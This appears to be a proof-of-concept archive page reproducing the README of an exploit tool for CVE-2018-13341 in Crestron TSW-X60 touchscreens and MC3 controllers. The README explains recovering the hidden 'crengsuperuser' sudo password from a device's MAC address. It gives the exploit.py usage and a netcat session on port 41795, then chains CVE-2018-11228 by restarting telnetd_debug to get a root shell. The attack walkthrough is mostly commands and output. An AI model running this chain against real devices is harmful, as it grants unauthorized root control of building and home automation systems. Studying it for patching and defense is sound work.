关联漏洞
标题：
Crestron TSW-X60和MC3 安全漏洞
(CVE-2018-13341)
描述：Crestron TSW-X60和MC3都是美国Crestron Electronics公司的产品。Crestron TSW-X60是一款交互式触摸屏设备。MC3是一款智能家居控制设备。 Crestron TSW-X60 2.001.0037.001之前版本和MC3 1.502.0047.00之前版本中存在安全漏洞，该漏洞源于具有常规权限的用户可以根据相关信息计算出sudo账号密码。攻击者可利用该漏洞执行隐藏的API调用并绕过CTP控制台沙盒环境。
描述
This Tool Aims to Exploit the CVE-2018-13341
介绍
# CVE-2018-13341
This Tool Aims to Exploit the CVE-2018-13341, By Using the MAC address of the targeted device, you can recover the password of the *"crengsuperuser"* hidden account which has elevated privileges and allow you to run **SUDO** commands.
The Crestron Toolbox Protocol (CTP) can be connected to by accessing port **41795** on the TSW-XX60 device.
```bash
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
```
## Requirements
This tool requires the CryptoGraphy module.
```bash
# pip3 install cryptography
```
**OR**
```bash
# pip3 install -r requirements.txt
```
## Getting Started
```bash
usage: exploit.py [-h] [-m MAC]
# Example
# python3 exploit.py -m aabbccddeeff
[*] Device MAC address: AAXXYYZZ
[*] Password for 'crengsuperuser': somerandompass
```
## Exploiting the CVE-2018-11228
The [CVE-2018-11228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-11228) allows unauthenticated RCE via Bash Shell Service in Crestron Terminal Protocol (*CTP*). After getting the password of the *"crengsuperuser"* hidden account you can get a **root** access on the Machine.
```bash
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
```
Then, in a new shell, you can get **root** access on the box.
```bash
# telnet w.x.y.z
bash# whoami
root
```
```
Credit Goes to : axcheron
```
文件快照
[4.0K] /data/pocs/f6f79b3dd2adbcf2e1992daaa5ef5b24d2d00f7a
├── [1.9K] exploit.py
├── [1.9K] README.md
└── [ 13] requirements.txt
0 directories, 3 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。